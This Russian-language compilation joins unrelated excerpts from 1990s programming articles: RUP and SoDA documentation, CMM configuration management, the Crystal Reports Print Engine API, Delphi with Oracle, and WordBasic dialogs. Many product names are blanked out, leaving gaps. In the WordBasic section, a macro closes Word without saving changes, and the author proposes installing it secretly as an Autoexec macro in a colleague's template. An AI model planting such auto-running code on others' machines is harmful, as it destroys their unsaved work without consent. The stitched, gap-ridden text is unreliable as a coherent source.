выстроить свои процессы под требования CMM самостоятельно, без внешнего вмешательства. А зачем изобретать велосипед? Не проще ли взять готовый набор решений оптимизации (например, ), внедрить его (здесь уже можно и своими силами обойтись), получив готовый набор решений для качественного построения ПО, а уж затем приглашать специалистов и аттестоваться на определенный уровень? Как мы уже не раз упоминали в данной статье, Rational гарантирует получение 3-го уровня СММ. На Западе сегодня уже широко используют для оптимизации процесса выпуска ПО технологии компании . Причин тому несколько: во-первых, Rational Software — практически единственная компания, которая четко описала весь производственный цикл по выпуску программного обеспечения (), определила все возможные виды документов, сопровождающие проект, строго расписала роли (входные/выходные документы, шаблоны документов и пр.) каждого участника проекта.Во-вторых, компания создала специальное программное обеспечение для качественного исполнения как каждого этапа в отдельности, так и всего проекта в целом. Важно и то, что Rational посредством RUP предлагает перейти от программирования как искусства к программированию как к науке, где все понятно и прозрачно благодаря научному подходу к разработке. По некоторым оценкам западных аналитиков, соотношение возврата капитала до и после внедрения качественных процессов варьируется от 5:1 до 8:1.

    Что такое SoDA?

    SoDA, по существу, представляет собой макрос, написанный для MS Word и особенно полезный при реализации крупных информационных проектов, в которых на составление документации и ее постоянную переработку обычно тратится очень много времени и сил разработчиков. По задаваемым пользователем шаблонам SoDA "компилирует" документацию, собирая в один документ текстовые и графические данные из различных источников, например из моделей, созданных в . Далее пользователь может отредактировать полученный документ с помощью Microsoft Word или Adobe FrameMaker. Как и любая система отчетности, SoDA базируется на тех данных, которые получает из сторонних программ. SoDA поддерживает всю линейку продуктов Rational Software, позволяя создавать сложные комбинированные отчеты на основе выходных данных программ состава Rational Suite. Плюс ко всему SoDA имеет доступ к данным из Microsoft Project. Основные возможности системы:
  • Автоматическое извлечение информации из файлов, созданных различными инструментальными средствами. SoDA "понимает" структуру информации, хранимой теми системами, с которыми она интегрирована, а сама информация доступна ей через API этих систем.
  • Сохранение при "перекомпиляции" текста и графики, введенных пользователем вручную в текстовом процессоре. Если пользователь, скажем, в Microsoft Word, добавил какие-нибудь комментарии или иллюстрации в сгенерированный с помощью SoDA документ, то при перестраивании данного документа SoDA его не испортит.
  • Настройка шаблонов, по которым генерируется документация. С помощью удобного визуального редактора можно создавать шаблоны, соответствующие всевозможным внешним стандартам (таким как ISO 9000, IEEE, MIL-STD-498 и DOD-STD-2167A) или внутренним стандартам компании.
  • Синхронизация с источниками и проверка актуальности документации. Связи между отдельными частями документации и исходными файлами запоминаются. Поэтому, во-первых, SoDA может отслеживать изменения, происходящие с источниками, на основе которых была в последний раз "скомпилирована" документация, а во-вторых, пользователь может из любой секции документа быстро получить доступ к источникам, информация из которых используется в этой секции.
  • Частичная "перекомпиляция" больших документов.
    Проектная документация к масштабным программным системам может достигать гигантских объемов. Поэтому в SoDA предусмотрена возможность "перекомпилировать" только такие части документации, которые действительно утратили актуальность.
  • Сбор информации из многочисленных и разнородных источников.
  • Документирование всех этапов работы над проектом.
  • Проверка соблюдения требований, предъявляемых к разрабатываемой системе. SoDA позволяет сформировать таблицы, из которых можно понять, насколько полученные результаты соответствуют требованиям, определенным на начальных этапах проектирования.
  • Поддержка русифицированных шаблонов и отчетов. Из описания следует, что SoDA может работать в двух режимах. Первый - генерация отчета по данным на основе существующего шаблона, который, в свою очередь, строго следует стандартам RUP и ISO. Второй - генерация отчета на основе собственного шаблона компании, оформленного произвольным образом в соответствии с ее традициями. Давайте немного остановимся на первом режиме, когда за основу берется стандартный шаблон. Известно, что компания Rational не только полностью описала процесс выпуска программного обеспечения, но и создала программные средства для каждого этапа этого процесса. Следовательно, каждый продукт сохраняет данные, а SoDA по ним строит ("компилирует") отчет. Если внимательнее присмотреться к этапам разработки приложений с точки зрения Rational, получится следующий список:
  • Бизнес-моделирование.
  • Определение требований.
  • Анализ и проектирование.
  • Тестирование.
  • Реализация.
  • Внедрение. Естественно, все этапы детально описаны, и на каждом из них предполагается получение документа строго определенного образца (согласно RUP), после того как соответствующие данные были обработаны той или иной программой из набора средств Rational. Так, на первом этапе при помощи SoDA можно получить документы "Оценка организации заказчика", "Словарь терминов предметной области", "Коммерческое предложение", "Бизнес-правила" и т.д.


    На втором этапе можно получить документы "Спецификация на программную систему", "Спецификация на функции системы". Каждый из этих отчетов будет соответствовать RUP, а форма изложения - отражать требования ISO. В дальнейшем такой документ можно согласовать с заказчиком. Обратите внимание: первый этап называется "Бизнес-моделирование", что подразумевает использование на данном этапе средств визуального проектирования. Согласно технологии RUP, этим средством является Rational Rose, позволяющее на основе различных диаграмм получить полную бизнес-модель предприятия и модель проектируемой системы. Соответственно, опять же по технологии RUP, на этапе проектирования аналитик или проектировщик не только рисует модель, создавая определенные связи между диаграммами, но и комментирует каждое свое движение на специальных полях либо подключает уже имеющиеся документы к модели. Разумеется, в результате получается отличная модель, полностью описывающая бизнес-процессы и программную систему. Правда, понятной она будет только узкому кругу лиц, представляющих себе полную картину сделанного. Заказчик же, к сожалению, зачастую плохо ориентируется в мире диаграмм... Вот и настает черед SoDA! Из меню Rose запускается составитель отчетов, пользователь выбирает тип отчета и через 1-5 минут получает готовый документ с разметками, комментариями и фрагментами моделей в формате Word. При этом все элементы документа представляют собой внедренные объекты, а это значит, что изменения, внесенные в модель, автоматически отражаются в документе. В табл. 1 показано, с какими программными продуктами работает SoDA и какие отчеты может создавать. Для тех, кто не знаком с терминологией, в табл. 2 даны расшифровка и описание типов диаграмм в Rose. Таблица 1 ПродуктОтчетХарактеристика/комментарий
    VersionОтчет по версии одного элемента из репозитария ClearCase
    VobОтчет по состянию всех репозитариев в целом
    ElementОтчет по свойствам элементов
    RegionОтчет по всем используемым в проекте регионам
    All Defect in This StateВывод всех дефектов, находящихся в указанном состоянии
    DocsReqts.docОтчет по требованиям и документам проекта
    Reqts.docОтчет по требованиям
    ReqtsAttrs.docОтчет по требованиям с выводом атрибутов требований
    ReqtsTraces.docОтчет по требованиям с использованием трассирования
    BuildDetail.docДетальный отчет по тестированию с выводом ошибок, состояний и владельцев
    Build Summary.docУпрощенная версия вышеуказанного отчета
    ComputerDetail.docОтчет по характеристикам компьютеров, на которых проводилось тестирование, в том числе IP-адрес машины, на которой проигрывались тесты, наименование операционной системы
    ScriptDetail.docОтчет по скриптам тестирования, в том числе путь к файлу, имя его владельца
    TestDocDetail.docОтчет по тестовым документам
    498idd.docОтчет по списку документов, дизайну интерфейса, трассировке требований
    498irs.docСписок документов, требования к интерфейсу, квалификационный лист, трассировка требований
    498ocd.docСписок документов, требования к продукту, квалификационный лист, трассировка требований
    498sdd.docCSCI-заключение, дизайн, трассировка требований
    Classes.docОтчет по всем классам в системе. Отчет следует иерархии и показывает связи
    RUPActor Report.docПростой и быстрый отчет по характеристикам, отношениям и диаграммам состояний модели



    Таблица 2 АббревиатураРасшифровкаОписание
    IDDInterface Design DescriptionОписание интерфейса системы
    IRSInterface Requirements SpecificationСпецификации на требования интерфейса
    OCDOperational Concept DescriptionОперационное концептуальное описание
    SDDSoftware Design DescriptionОписание программного дизайна
    SDPSoftware Development PlanПлан разработки
    SRSSoftware Requirements SpecificationСпецификации на требования
    SSSSystem/Subsystem SpecificationСпецификации на систему
    Еще раз внимательно посмотрите на табл. 1. Хотя я не стал описывать все виды стандартных отчетов, представленного списка с лихвой должно хватить для правильной оценки возможностей продукта. К слову сказать, все вышеприведенные форматы отчетов помогут аналитикам и проектировщикам точно договориться с заказчиком о том, какую систему он хочет получить. Тестировщики же смогут генерировать отчеты по всем ошибкам (дефектам) и представлять их в удобной форме. Не остались без внимания и разработчики. Для них будет полезным отчет по классам, когда в наглядном виде можно получить список классов с иерархией и описанием всех атрибутов и методов, не выходя из среды разработки. В качестве одного дополнительного (я бы даже сказал - комплексного) штриха можно с помощью только Rose и SoDA сделать отчет по классам той системы, которая УЖЕ написана и скомпилирована! Rose имеет механизм так называемого обратного проектирования, когда исходный код превращается в модель Rose (преобразуясь в UML-нотацию). При обратном проектировании учитываются все составляющие классов, а также комментарии, которыми они снабжались, вследствие чего на выходе получается полная модель всех классов (с иерархией). После этого достаточно будет просто пропустить модель через систему генерации отчетов - и вы получите полноценный документ, описывающий систему классов программного продукта по всем мыслимым и немыслимым стандартам и правилам! Понятно, что даже с помощью SoDA трудно получить стопроцентно читабельный отчет для заказчика, но свои процентов восемьдесят такого отчета SoDA честно сгенерирует.Остальную правку можно возложить на плечи специалиста, способного придать отчету (на этом этапе уже - документу) литературный вид. Вернувшись к основе ведения проектов - RUP, можно выделить 10 важнейших моментов, когда без системы отчетности невозможно обойтись. Это бывает в тех случаях, когда необходимо:
  • Выработать концепцию будущего приложения (документы, роли участников).
  • Выработать план.
  • Идентифицировать и смягчить риски.
  • Устанавливать и отслеживать проблемы.
  • Проанализировать прецеденты.
  • Разработать компонентную архитектуру.
  • Создавать и тестировать продукт.
  • Проверять и оценивать результаты.
  • Управлять изменениями и контролировать их.
  • Обеспечивать ввод в коммерческую эксплуатацию и поддержку пользователей.

    CodeInsight - гибкие и простые в использовании эксперты для написания кода

    Delphi 3 предоставляет богатый и исчерпывающий набор экспертов для создания кода, позволяющий упростить создание приложений начинающим и опытнвм программистам:
  • CodeTemplates Wizard для упрощения создания кода.
  • CodeCompletion Wizard для упрощения создания синтаксически правильных конструкций.
  • CodeParameter Wizard для вывода списка параметров процедур, а также свойств, событий и методов компонентов.
  • CodeFind Wizard для навигации и поиска в исходных текстах Delphi.
  • ToolTip Expression Evaluation быстрой и простой отладки.
  • DLL Debugging экономит время при создании и отладке сложных приложений.

    Configuration and Change Management с точки зрения CMM и RUP

    Итак, мы уже коснулись требований к качественности процессов, а сейчас рассмотрим, как RUP регламентирует достижение необходимого качества. Поговорим о той части RUP, которая описывает конфигурационное управление. Основная задача конфигурационного управления ПО — установление и поддержание целостности проектных данных на протяжении всего жизненного цикла развития проекта. Конфигурационное управление участвует в идентификации конфигурации выпускаемого ПО (то есть в выборе программного продукта и в его описании) в срок. SCM (Source Configuration Management) обеспечивает систематизированное управление изменениями конфигурации, поддержание их целостности и актуальности на протяжении всего жизненного цикла проекта. Результаты разработки, которые поставляются клиенту, находятся под управлением конфигурационной системы. Также под ее управлением находятся все документы и результаты компиляции (документы требований, отчеты, исходные данные на любом языке программирования). Библиотеки базовых линий должны быть установлены и содержать работающие версии релизов. Под базовыми линиями здесь и далее понимается набор версий исходных файлов, составляющих конкретную версию откомпилированного релиза. Изменения базовых линий программного продукта, построенных на основе библиотеки базовых линий, должны быть управляемыми посредством контроля изменений и конфигурационного аудита функций в SCM, что полностью обеспечивается продуктом (версионное управление). Все данные из ключевых областей процесса (Key Process Area) охватывают возможные методы исполнения функции конфигурационного управления. В СММ все качественные требования представляются именно как KPA. Каждый из этих методов четко описывает определенный участок с формализованными требованиями, а RUP способен привести этот участок в соответствие означенному требованию. Механизмы, идентифицирующие определенные единицы конфигурации, содержатся в KPA и описывают развитие и сопровождение каждой единицы конфигурации (исходные тексты, картинки, документация и пр.). Ниже приведены основные постулаты конфигурационного управления по CMM (дословный перевод требований):
  • Любые действия по направлению конфигурационного управления заранее запланированы
  • Любые программные работы идентифицированы, управляются и являются общедоступными
  • Любые изменения в продукте являются управляемыми
  • Заинтересованные группы и индивидуумы постоянно информируются о состоянии развития проекта. Для реализации тех или иных действий, связанных с конфигурационным управлением, в RUP имеются несколько взаимосвязанных программных продуктов: (средство версионного управления), (средство организации конфигурационного управления и управления изменениями).
    Также на некоторых этапах удобно использовать систему генерации проектной документации для получения отчетов установленного образца. Для объединения регионально удаленных команд применяется приложение . описывает все этапы разработки программного обеспечения, включая конфигурационое управление. Содержит описание ролей участников проекта, шаблоны входных/выходных документов, набор рекомендаций для каждой проектной стадии. На рис. 1 изображены потоки работ и фазы по RUP. Обратите внимание на конфигурационное управление. Из диаграммы видно, что конфигурационное управление сопровождает все этапы и фазы проекта и вступает в действие с момента создания аналитиком бизнес-модели и до передачи готового программного продукта заказчику. Configuration and Change Management с точки зрения CMM и RUP Рис. 1 Как говорилось выше, RUP описывает, каким образом следует построить конфигурационное управление. Если посмотреть на топик конфигурационного управления из RUP, то нашему взору предстанет диаграмма разработки проекта с точки зрения RUP (рис. 2). Configuration and Change Management с точки зрения CMM и RUP Рис. 1 Данная блок-схема четко описывает этапы конфигурационного управления (шаги, которые необходимо пройти, роли участников...). Схема представляет собой верхний уровень описания. Поскольку вложенность уровней в энциклопедии RUP большая, навигация здесь осуществляется выбором соответствующих поддиаграмм. Каждая последующая диаграмма содержит развернутые сведения по выбранной теме (подробное описание всех шагов, необходимых для успешного осуществления этапа). На рис. 3 в развернутом виде показан первый шаг (планирование конфигурационного управления). На нем представлены роли сотрудников (менеджер по конфигурации и менеджер по управлению изменениями), их действия и результирующий документ (конфигурационный план). Подобном образом описываются все этапы конфигурационного управления (более подробно о них будет рассказано в следующей статье). Configuration and Change Management с точки зрения CMM и RUP Рис. 3 Представленный ниже список показывает в структурном виде всех участников конфигурационного управления, их действия и выходные данные. Установка плана управления конфигурацией Участники и роли: Менеджер конфигурации установление конфигурационной политики создание конфигурационного плана Менеджер контроля изменений установление процесса контроля над версиями Артефакты: конфигурационный план Создание проекта и среды Участники и роли: Менеджер конфигурации установление среды конфигурации Интегратор создание интегрирующего пространства Артефакты: конфигурационный план (дополнения), модель внедрения, настройка проектного репозитария, разработка рабочего пространства Изменение и представления конфигурационных элементов Участники и роли: Интегратор создание базовых линий Остальные создание рабочего пространства создание изменений Обновление рабочего пространства Артефакты: наряд на работу, модификация пространства Управление базовыми линиями и релизами Участники и роли: Интегратор Создание базовых линий Выделение базовых линий Менеджер конфигурации Создание единицы развертывания Артефакты: спецификации материалов, репозитарий, единицы развертывания Составление отчетов по конфигурационному пространству Участники и роли: Менеджер конфигурации генерирование отчета по состоянию подготовка конфигурационного аудита Артефакты: проектные единицы измерения, аудит репозитария (отчет) Управление запросами на изменение Участники и роли: Менеджер контроля изменений просмотр запросов на изменение поиск дублей в запросах Интегратор проверка изменения в билде Остальные представление запросов на изменение обновление запросов на изменение Артефакты: запросы на изменения Под термином «артефакт» здесь подразумевается получение выходного документа. Список, как можно видеть, достаточно полно описывает всю деятельность, связанную с конфигурационным управлением.


    В RUP можно получить гораздо более развернутый материал по каждому из приведенных элементов списка. Для дальнейшей иллюстрации возможностей и стоит привести шаблон документа, который заполняется в первую очередь, — это план конфигурационного управления. Данный план является основным документом, регламентирующим все дальнейшие проектные действия, связанные с конфигурационным управлением. В плане необходимо отмечать то, каким образом будет достигаться та или иная цель: ведь одну и ту же задачу можно решать различными способами, но, однажды выбрав определенное решение, не рекомендуется изменять его в процессе работы. Конфигурационный план: Введение Цели Область охвата Определения и сокращения Ссылки Краткий обзор SCM (Software Configuration Management) Организация, ответственность и интерфейс Инструментальные средства, среда и инфраструктура Идентификация элементов конфигурации Идентификация методов Проектные базовые линии Контроль изменений и конфигураций Процесс запроса изменений Группа управления изменениями Учет конфигурационного состояния Способы проектного хранения и процесс выпуска релизов Отчеты и аудит Основные производственные задания Обучение и ресурсы Подрядчик и услуги продавца Естественно, это шаблон, который предстоит заполнять данными в соответствии с рекомендациями (каждый пункт шаблона в RUP можно посмотреть в более развернутом виде). В заключение следует обратить внимание на соответствие ключей CMM их привязке к :

    Crystal Reports Print Engine API

    Модуль Crystal Reports Print Engine API предназначен для доступа к отчетам из приложений Windows. Доступ реализован через вызовы функций CRPE.DLL / CRPE32.DLL. Первый шаг к использованию функций - их объявление. Функции могут быть объявлены как глобально, так и локально внутри использующей их секции кода. Каждая функция может быть объявлена отдельно, но имеется и возможность объявления всех функций сразу. Например, функция PEStartPrintJob может быть объявлена в Visual Basic как: Declare Function PEStartPrintJob Lib "CRPE.DLL" (ByVal printJob As Integer, ByVal waitUntilDone As Integer) As Integer Для объявления всех функций сразу необходимо воспользоваться файлами заголовков, входящих в состав Crystal Reports. Например, для Visual Basic имя такого файла - GLOBAL.BAS, для С - CRPE.H. После объявления функций для начала работы с отчетом необходимо вызвать функцию PEOpenEngine, которая возвращает значение TRUE (1), если вызов прошел успешно, либо FALSE(0), если CRPE.DLL / CRPE32.DLL загрузить не удалось. Функция PEOpenEngine не имеет параметров и служит только для обработки в программном коде факта успешного подключения Print Engine. Для печати отчета используется функция PEPrintReport. Синтаксис функции приведен ниже: PEPrintReport("reportName", toPrinter, toWindow, "windowTitle", leftCoordinate, topCoordinate, windowWidth, windowHeight, windowStyle, parentWindow) где:
  • reportName - полное имя (включая путь) отчета. Можно использовать строковую переменную.
  • toPrinter - TRUE (1), если отчет выводится на принтер и FALSE(0), если в окно Windows. Для выбора принтера следует использовать функцию PESelectPrinter.
  • toWindow - если значение TRUE (1), отчет выводится в окно предварительного просмотра. При этом toPrinter должен быть равен 0.
  • windowTitle - заголовок отчета в окне просмотра. Можно использовать строковую переменную.
  • leftCoordinate - левая координата окна просмотра.
  • topCoordinate -верхняя координата окна просмотра.
  • windowWidth - ширина окна просмотра в пикселах.
  • windowHeight - высота окна просмотра в пикселах.
  • windowStyle - установка стиля (как определено в "Windows.h").
  • parentWindow - указатель родительского окна.
    Например, если два последних параметра равны 0, Crystal Reports использует следующий стиль: (WS_VISIBLE | WS_THICKFRAME | WS_SYSMENU | WS_MAXIMIZEBOX | WS_MINIMIZEBOX) Функции Report Engine позволяют не только просматривать отчет в окне приложения, но и управлять некоторыми опциями отчета. Например, можно изменить порядок сортировки данных отчета, модифицировать формулы выборки и группировки, модифицировать формулы отчета и т.д. Прежде чем использовать функции, управляющие опциями отчета, необходимо вызвать шесть основных функций:
  • PEOpenEngine - начало работы с Print Engine (загрузка CRPE.DLL/ CRPE32.DLL).
  • PEOpenPrintJob - подготовка процесса печати. Возвращаемое значение функции - указатель процесса печати, который будет использован другими функциями Print Engine.
  • PEOutputToPrinter , PEOutputToWindow или PEExportTo - подготовка вывода отчета на принтер, в окно просмотра или экспорта отчета соответственно.
  • PEStartPrintJob - запуск печати.
  • PEClosePrintJob - закрытие сеанса печати.
  • PECloseEngine - закрытие сеанса работы Print Engine (CRPE.DLL / CRPE32.DLL выгружается). Совместно с обязательным набором из шести функций можно использовать другие функции управления отчетом. В качестве примера можно рассмотреть функцию, устанавливающую формулу выборки - PESetSelectionFormula. Ее синтаксис: PESetSelectionFormula (Print Job Handle, Formula String), где Print Job Handle - указатель процесса печати, Formula String - текст формулы Crystal Reports. Всего Crystal Reports 6.0 содержит 125 функций Print Engine - функции для управления данными, процессами печати, выводом в окно просмотра, принтером, экспортом, функции управления сортировкой , выборкой и группировкой, управлением форматом печати и т.д. При помощи функций Print Engine можно просматривать отчет, менять его параметры, но нельзя менять дизайн отчета. Это утверждение относится к любым приложениям, написанным на любом языке программирования.

    DCOM против CORBA

    И DCOM компании Microsoft, и CORBA консорциума Object Management Group поддерживают распределенные вычисления. Однако, похоже, две эти технологии развиваются в разных направлениях. DCOMCORBA
    Microsoft расширила DCOM, добавив службы обработки транзакций, упростив программирование распределенных приложений и усовершенствовав поддержку Unix и других платформ. OMG расширяет свою компонентную модель за счет служб, ориентированных на конкретные отрасли, то есть телекоммуникации, производство, электронную коммерцию, финансы, медицину, транспорт и коммунальные услуги.


    Delphi_cs.shtml

    Cоздание приложений для ORACLE с помощью Delphi Client/Server Наталия Елманова, Центр Информационных Технологий Потребность в автоматизации самых разнообразных сфер человеческой детельности накладывает определенные требования к создаваемым информационным системам. Эти требования связаны не только со сложностью, многообразием и большим объемом обрабатывамых данных, но и с тем, что большинство пользователей таких систем не являются специалистами в области компьютерных технологий, а имеют совершенно другие профессии. Поэтому, наряду с определенными требованиями, связанными с доступом к используемым данным, интерфейс приложений, с которыми работает пользователь, должен быть максимально простым, интуитивно понятным, и в то же время отвечающим определенным сложившимся на сегодняшний день стандартам, так, чтобы пользователь легко мог освоить очередное приложение. Это означает, что созданное приложение должно, как правило:
  • иметь меню, похожее на стандартное, с разделами "Файл", "Редактирование", "Сервис", "Справка" (или похожее), при этом пункты меню должны иметь соответствующие "горячие" клавиши клавиши быстрого доступа;
  • иметь инструментальную панель , содержащую кнопки, дублирующие наиболее часто используемые пункты меню;
  • использовать полосы прокрутки , группы радиокнопок, списки, выключатели, строки редактирования и другие интерфейсные элементы, традиционно используемые в современных приложениях;
  • использовать праую клавишу мыши для вызова контекстно-зависимых меню;
  • иметь контекстно-зависимую справочную систему, подсказки для интерфейсных элементов, панель для отражения текущего состояния приложения и комментариев. Помимо этого, при создании информационной системы следует учитывать возможные пути и возможности ее модернизации, например, потенциальную возможность переноса ее в архитектуру клиент-сервер или замену одного сервера баз данных другим. Такая модернизация должна требовать разумных трудозатрат и происходить безболезненно для пользователя. Утверждение о том, что приложение должно обладать высокой производительностью, является банальным, однако об этом тоже следует помнить при выборе средства разработки, так как задержки при выполнении тех или иных операций являются одной из главных причин недовольства пользователей. Современные средства быстрой разработки Windows-приложений, или так называемые RAD-средства (RAD расшифровывается как Rapid Application Development) обладают в той или иной степени почти всеми возможностями создания в приложениях подобных интерфейсных элементов.
    Многие из них позволяют осуществлять доступ с базам данных, в том числе и к серверным БД. Однако Borland Delphi (как версия 1.0, так и версия 2.0), на взгляд автора, является в этом отношении наиболее наиболее простым и удобным в использовании средством. Причины этого заключаются в следующем:
  • создание пользовательского интерфейса происходит практически без написания кода;
  • поддерживаются все стандартные интерфейсные элементы - окна просмотра, списки, выключатели, радиокнопки и радиогруппы, полосы прокрутки, меню (как оконные, так и привязанные к конкретным элементам), а также большое количество иных полезных интерфейсных элементов - блокнотов а-ля Word, прогресс-баров и т.д.;
  • легко создаются контекстно-зависимая справка, ярлычки с подсказками, панели состояний, инструментальные панели;
  • имеется большая библиотека шаблонов форм и приложений, которую можно пополнять своими шаблонами;
  • доступ к данным, будь то плоские таблицы или серверные БД типа ORACLE, совершенно однотипен, а описание конкретных источников данных можно вынести за пределы приложения в специальный файл конфигурации бибилиотеки BDE, обеспечивающей универсальную работу с разнородными данными, вплоть до гетерогенных запросов (это могут сделать далеко не все RAD-средства);
  • в процессе разработки можно пользоваться реальными данными, отображаемыми в соответствующих интерфейсных элементах;
  • приложения отличаются высокой производительностью, так как они являются полностью скомпилированными выполняемыми модулями (а большинство используемых RAD-средств использует интерпретируемый код), а, кроме того, язык программирования Object Pascal, используемый в Delphi, отличается жесткой типизацией переменных, что также положительно сказывается на производительности;
  • отладка приложений очень удобна за счет того, что, во-первых , компилятор Pascal является очень быстрым, во-вторых, поддерживается инкрементная компиляция, в-третьих, в среду разработки встроен удобный и гибкий отладчик;
  • средства работы с графикой так же удобны, как и в Pascal (для средств разработки приложений, работающих с БД, это большая редкость);
  • поддерживаются элементы VBX (в первой версии) и OCX (во второй версии); на сегодняшний день на рынке имеется также большое количество дополнительных компонент для Delphi, созданных на самой Delphi, и их создание является несложным процессом;
  • имеется интерфейс со средством контроля версий Intersolv PVCS, облегчающий групповую разработку крупных проектов;
  • имеются удобные средства генерации отчетов, при этом можно использовать и генераторы отчетов сторонних разработчиков (например, Crystal Reports);
  • среда разработки создана с учетом последних достижений в области эргономики - никаких лишних движений мышью, или лишних нажатий на клавиши (рис.1). Как создаются приложения на Delphi? Это очень просто.


    Вы создаете новый проект (или используете готовый шаблон), помещаете на форму интерфейсные элементы, компоненты для доступа к данным, связываете все это между собой в инспекторе объектов, если нужно, дописываете обработчики событий (это может и не потребоваться) - и приложение готово! (рис.2). Что интересного может предложть Delphi для разработчиков информационных систем на базе ORACLE? Во-первых, высокопроизводительный драйвер этой СУБД (хотя, конечно, никто не запретит Вам пользоваться ODBC, который, естественно, поддерживается Delphi). Во-вторых, Ваши приложения будут добросовестно цитировать все высказвания созданных на сервере триггеров, если таковые будут срабатывать во время работы приложения. В-третьих, если Вы используете версию 2.0 - в Вашем распряжении репозиторий, включающий словарь данных, навигатор баз данных, SQL-монитор, поддержка хранимых процедур и сессий, модули данных, огромное разнообразие интерфейсных элементов, в том числе и похожих на те, что есть в Oracle Power Objects, а также неограниченные возможности наращивания функциональности среды разработки за счет дополнительных эспертов, редакторов свойств и компонент. В-четвертых, Вы можете легко интегрировать в среду разработки продукты третьих фирм, например, для интерфейса с CASE-средствами (один из таких продуктов, CASE Expert - средство для экспорта ER-диаграммы в словарь данных Delphi, входит в поставку Delphi 2.01). Отметим также, что Delphi 2.0 поддерживает многопоточность, OLE-automation и другие механизмы и технологии 32-разрядных операционных систем Windows. В Delphi 2.0 имеются эффктивные механизмы обработки транзакций с использванием механизмов кэшированного обновления данных, поддерживается ряд расширений SQL, имеется Data Pump Expert для переноса данных между серверами и масштабирования приложений. В обеих версиях Delphi Client/Server имеется визуальный конструктор запросов, позволяющий сгенерировать многотабличный запрос на языке SQL, в том числе с вычисляемыми полями (интерфейс и рабочий экран этого конструктора напоминает по внешнему виду некоторые популярные CASE-средства). Помимо этого, Delphi прекрасно работает с Personal Oracle, что существенно облегчает разработку и отладку приложений, позволяя вынести эти процессы за пределы сети, в которой эксплуатируется действующая версия информационной системы. На мой взгляд, у Delphi есть один крупный недостаток - созданные приложения не являются многоплатформенными и могут эксплуатироваться только в Windows 95 и NT в случае версии Delphi 2.0, а также дополнительно в Windows 3.1 и 3.11 в случае версии Delphi 1.0 .


    Но и этот недостаток можно преодолеть путем использования технологии Intranet в корпоративных системах, когда приложение, созданное на Delphi, запускается Web-сервером, а полученные формы отображаются в Web-броузере на компьютере пользователя, где может быть использована любая другая операционная система, отличная от Windows. Таким образом, Delphi Client/Server 1.0 и Delphi Client/Server Suite 2.0 являются очень удобными инструментами для создания клиентских приложений, использующих серверы ORACLE. Об этом свидетельствует высокая популярность этого средства среди разработчиков программ. Если Вы выбрали это средство - Вы всегда найдете друзей и единомышленников, готовых помочь Вам в случае появления каких-либо проблем, в том числе и в фирме , имеющей авторизованный учебный центр Borland и консультационную службу. Delphi_cs.shtml Delphi_cs.shtml

    Дерево объектов

    В качестве узлов дерева объектов могут быть использованы различные объекты, в том числе. константы, переменные, агрегаты данных, указатели, графические и диалоговые объекты, группы объектов, пользовательские объекты, задачи, каналы, объекты ввода/вывода, базы данных, программы, функции и т.д. и т.п. Библиотека встроенных объектов насчитывает более 3,500 предопределенных объектов.

    Диалоги

    В любом справочнике по программированию написано, что хорошая программа должна быть интерактивной, то есть должна уметь вести диалог с пользователем. Рассмотрим, как это можно сделать с помощью WordBasic. Напишем совсем коротенькую программку, выдающую на экран сообщение. Sub Hello() MsgBox "Hello Word", vbInformation, "Мое первое сообщение" End Sub Первый параметр функции MsgBox задает текст сообщения, второй - тип сообщения, т.е. значок и кнопки, а третий задает заголовок окна сообщения. Теперь попробуем усложнить программу. Пусть она выводит на экран сообщение с надписью "Закрыть Word?" и кнопками "Ok" и "cancel". Кроме того пусть программа закрывает Word по нажатию Ok. Sub Hello() If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then Application.Quit End If End Sub Здесь мы используем возвращенное функцией MsgBox значение для того, чтобы определить на какую кнопку нажал пользователь. Если функция возвратила vbOK, т.е. пользователь выбрал кнопку OK, мы вызываем метод Quit объекта Application (объектом Application является сам Word). Но это еще не все. При выходе Word выдает предупреждения, если изменения в файлах не сохранены. Модифицируем программу так, чтобы эти сообщения не появлялись. Для этого установим свойство DisplayAlerts объекта Application, управляющее выводом сообщений на экран в false и укажем параметр wdDoNotSaveChanges (не сохранять изменения) для метода Application.Quit Sub Hello() Application.DisplayAlerts = False If MsgBox("Закрыть Word?", vbOKCancel, "Мое первое сообщение") = vbOK Then Application.Quit wdDoNotSaveChanges End If End Sub Макрос готов. Хотите удивить коллегу? Перепишите ему этот макрос в шаблон Normal.dot под названием Autoexec (макросы с таким названием выполняются автоматически при запуске Word).

    Dig_1106.shtml

    Обзор статей журнала , vol.10, N 4, April 1997 (11.06.97) С. Кузнецов,
  • Tackling Toolsets Robin Schumacher, senior DBA and developer with Louisville Gas and Electric
    E-mail: , Home page: На выбор средств разработки приложений влияют две категории соображений. Первая категория относится к виду платформы, для которой будет проводиться разработка. Можно выделить следующие виды платформ. Настольные платформы: однопользовательские (или используемые небольшими группами пользователей) системы, в которых не обязательно используется сервер баз данных. Примером может служить система Microsoft Access, с помощью которой лаборант может сохранять результаты своих экспериментов. Корпоративные платформы: приложения масштаба рабочей группы или всей компании, которые почти всегда опираются на использование связи с одной или несколькими базами данных. Примером такого приложения может быть больничная система регистрации, которая используется как регистрирующим персоналом, так и другими служащими больницы. Internet: базирующиеся на Internet или Intranet Web-приложения, которые могут быть статическими или обращаться к СУБД с запросами данных. Статическое Web-приложение может служить для распространения рекламы корпорации и, возможно, для сбора заявок на получение более подробной информации. Динамическое, связанное с базой данных Web-приложение может, например, дать возможность врачу получить данные о пациенте из базы данных больницы с помощью Web-браузера. Вторая категория соображений относится к типу программирования, который навязывается самим средством разработки: 3GL. К этому типу относятся средства, основанные на использовании систем программирования языков C, C++ и чистого диалекта Java. Очевидно, что они требуют более детального программирования, чем средства быстрой разработки приложений (Rapid Application Development - RAD). С другой стороны, приложения, разработанные с использованием 3GL, обычно быстрее выполняются. 4GL или средства визуальной разработки. Многие из этих средств производят откомпилированный машинный код и обеспечивают более простую связь с базами данных посредством средств 3GL, позволяя производить разработку приложений в стиле RAD (Rapid Application Development - быстрая разработка приложений).
